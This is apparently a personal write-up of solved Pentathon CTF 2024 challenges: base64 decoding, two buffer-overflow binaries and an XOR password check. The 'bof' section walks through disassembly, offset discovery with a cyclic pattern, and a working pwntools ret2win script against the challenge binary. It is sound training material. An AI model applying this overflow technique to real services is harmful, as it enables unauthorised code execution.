Pentathon CTF 2024

Here are the solution for all the challenges I solved in Pentathon CTF 2024 held by NCIIPC , the CTF was easy but the number of challenges was too less and I got to know about it on the last day :(
Misc: Welcome again?
Description:
Here is another complimentary flag for you, well not as simple as the last one.
ZmxhZ3t3b2hvb29vb29vb29vLGxldCdzZ29vb29vfQ==
Solution: Just decode the base64.
Flag:
flag{wohoooooooooo,let'sgooooo}
Pwn: Overflow
Description:
I found an exposed service on a power grid machine. I heard that buffer overflow is one of the most common memory corruption bugs. Maybe it might work here?
The description directly hints towards the solution, it's buffer overflow.
Connect to the provided server instance using nc and it asks for an input.
I reverse engineered the application code for the provided binary using ghidra and found that it uses gets() , and uses a variable to assertain if user is logged in or not.
if the user is login, we get the flag. (using if condition to check if variable is >0)
Solution:
All we have to do is overflow the buffer of the variable which stores the input (which was around 32 if i rememeber), and that will overwrite the boolean variable thus executing the part of code that prints the flag!
I didn't really have to do all of the above since there was a bug in the code, the control variable was initialized, so it was set by C with some garbage value, since its not zero, the flag was just printed to anyone who connected to the server. (I let the challenge author know, but he didnt change it before the end of the competition).
Pwn: bof
Description:
Walter has encountered a buffer overflow in an exposed service but he is unable to exploit it. Help him out.
Another bof challenge, we are provided with the challenge binary and a dockerfile.
Dockerfile:
# sudo docker build -t vuln
# sudo docker run -d -p 1337:1337 --rm -it vuln
FROM ubuntu:20.04
COPY Deployment .
RUN chmod +x ./ynetd && chmod +x ./chall
EXPOSE 1337
CMD ./ynetd -p 1337 ./chall
The binary was 64 bit and had a ret2win vulnerability.
Functions:
[--SNIP--]
0x00000000004011d6 init
0x0000000000401227 secretFunction
0x0000000000401257 lab
0x00000000004012b8 main
[--SNIP--]
Main() disassembled:
Basically calling lab() in first line of main.
Dump of assembler code for function main:
0x00000000004012b8 <+0>: endbr64
0x00000000004012bc <+4>: push rbp
0x00000000004012bd <+5>: mov rbp,rsp
0x00000000004012c0 <+8>: mov eax,0x0
0x00000000004012c5 <+13>: call 0x401257 <lab>
0x00000000004012ca <+18>: mov eax,0x0
0x00000000004012cf <+23>: pop rbp
0x00000000004012d0 <+24>: ret
End of assembler dump.
lab() disassembled:
Runs the init() and puts two lines of text, takes input using scanf and prints something else.
Dump of assembler code for function lab:
0x0000000000401257 <+0>: endbr64
0x000000000040125b <+4>: push rbp
0x000000000040125c <+5>: mov rbp,rsp
0x000000000040125f <+8>: sub rsp,0x20
0x0000000000401263 <+12>: mov eax,0x0
0x0000000000401268 <+17>: call 0x4011d6 <init>
0x000000000040126d <+22>: lea rdi,[rip+0xde4] # 0x402058
0x0000000000401274 <+29>: call 0x401090 <puts@plt>
0x0000000000401279 <+34>: lea rdi,[rip+0xe02] # 0x402082
0x0000000000401280 <+41>: call 0x401090 <puts@plt>
0x0000000000401285 <+46>: lea rax,[rbp-0x20]
0x0000000000401289 <+50>: mov rsi,rax
0x000000000040128c <+53>: lea rdi,[rip+0xe00] # 0x402093
0x0000000000401293 <+60>: mov eax,0x0
0x0000000000401298 <+65>: call 0x4010e0 <__isoc99_scanf@plt>
0x000000000040129d <+70>: lea rax,[rbp-0x20]
0x00000000004012a1 <+74>: mov rsi,rax
0x00000000004012a4 <+77>: lea rdi,[rip+0xdeb] # 0x402096
0x00000000004012ab <+84>: mov eax,0x0
0x00000000004012b0 <+89>: call 0x4010b0 <printf@plt>
0x00000000004012b5 <+94>: nop
0x00000000004012b6 <+95>: leave
0x00000000004012b7 <+96>: ret
End of assembler dump.
secretFunction disassembled:
printing something and executing a system command (its cat flag.txt, cause i checked that in ghidra)
0x0000000000401227 <+0>: endbr64
0x000000000040122b <+4>: push rbp
0x000000000040122c <+5>: mov rbp,rsp
0x000000000040122f <+8>: lea rdi,[rip+0xdd2] # 0x402008
0x0000000000401236 <+15>: call 0x401090 <puts@plt>
0x000000000040123b <+20>: lea rdi,[rip+0xdde] # 0x402020
0x0000000000401242 <+27>: call 0x401090 <puts@plt>
0x0000000000401247 <+32>: pop rax
0x0000000000401248 <+33>: lea rdi,[rip+0xdfa] # 0x402049
0x000000000040124f <+40>: call 0x4010a0 <system@plt>
0x0000000000401254 <+45>: nop
0x0000000000401255 <+46>: pop rbp
0x0000000000401256 <+47>: ret
Now that we know it takes and input and there is a secretFunction that is not called, and is using a system exec, its most probably ret2win.
STEP 1: Find the offset
Using GDB to find the offset:
Try and setup a seg fault when running so that we can determine the buffer to reach $RIP register (EIP in x32)
First create a cyclic pattern of 100 chars:
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
'
provide this as input to program:
gdb-peda$ run
Starting program: /home/redtrib3/Public/pentathon/bof/chall
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Does Walter know how to break into this??
Enter your Input
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
You entered: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
REGISTERS:
[----------------------------------registers-----------------------------------]
RAX: 0x72 ('r')
RBX: 0x7fffffffde88 --> 0x7fffffffe1fe ("/home/redtrib3/Public/pentathon/bof/chall")
RCX: 0x0
RDX: 0x0
RSI: 0x7fffffffbc20 ("You entered: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffbb00 --> 0x7ffff7e1afd0 (<__funlockfile>: mov rdi,QWORD PTR [rdi+0x88])
RBP: 0x6141414541412941 ('A)AAEAAa')
RSP: 0x7fffffffdd68 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4012b7 (<lab+96>: ret)
This filled the registers with our input, we need to find the offset of pattern in RIP. Use pattern search to make it easier for us.
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RSP] --> offset 40 - size ~60
Pattern buffer found at:
0x00007fffffffbc2d : offset 0 - size 100 ($sp + -0x213b [-2127 dwords])
0x00007fffffffdd40 : offset 0 - size 100 ($sp + -0x28 [-10 dwords])
References to pattern buffer found at:
0x00007fffffffb6b0 : 0x00007fffffffdd40 ($sp + -0x26b8 [-2478 dwords])
0x00007fffffffd658 : 0x00007fffffffdd40 ($sp + -0x710 [-452 dwords])
0x00007fffffffd6b0 : 0x00007fffffffdd40 ($sp + -0x6b8 [-430 dwords])
0x00007fffffffd998 : 0x00007fffffffdd40 ($sp + -0x3d0 [-244 dwords])
0x00007fffffffdc68 : 0x00007fffffffdd40 ($sp + -0x100 [-64 dwords])
0x00007fffffffdc88 : 0x00007fffffffdd40 ($sp + -0xe0 [-56 dwords])
OFFSET = 40
Now find the memory address of the secretFunction().
gdb-peda$ p secretFunction
$1 = {<text variable, no debug info>} 0x401227 <secretFunction>
With all the above info, i created a script to pwn the binary.
from pwn import *
# execute the binary locally
p = process('./chall')
#p = remote('15.206.207.160',32551)
print(p.recvuntil('Enter your Input\n'))
#padding
buffer = b'A'*40
# secretFunction in little endian
ret_addr = p64(0x401227)
p.sendline(buffer+ret_addr)
print(p.recvline())
print(p.recvline())
print(p.recvline())
print(p.clean())
Got the flag !
Byte By Byte
Description:
You've been hired as a cybersecurity consultant to test the defenses of a major corporation's secure network. Your objective is to gain access to their encrypted data vault, which contains sensitive information and trade secrets. All of these have been stored behind a password system. Can you crack the code and gain access to the corporate vault?
Attachment:
condition (a x64 elf binary)
Fire up ghidra and analyze the binary to get the source of main().
The main() was obfuscated and long, and to be honest I spend a lot of time analysing the code and decoding each variable and relation, The flag was right in front of me.
The algorithm checks if the xor result is right by comparing each byte to a character.
Put the characters together and you get the flag.
Takeaway:
I wish I knew about the CTF when it started, the challenges were really easy and I wish I solved more.
Edit: I got into the Finals!




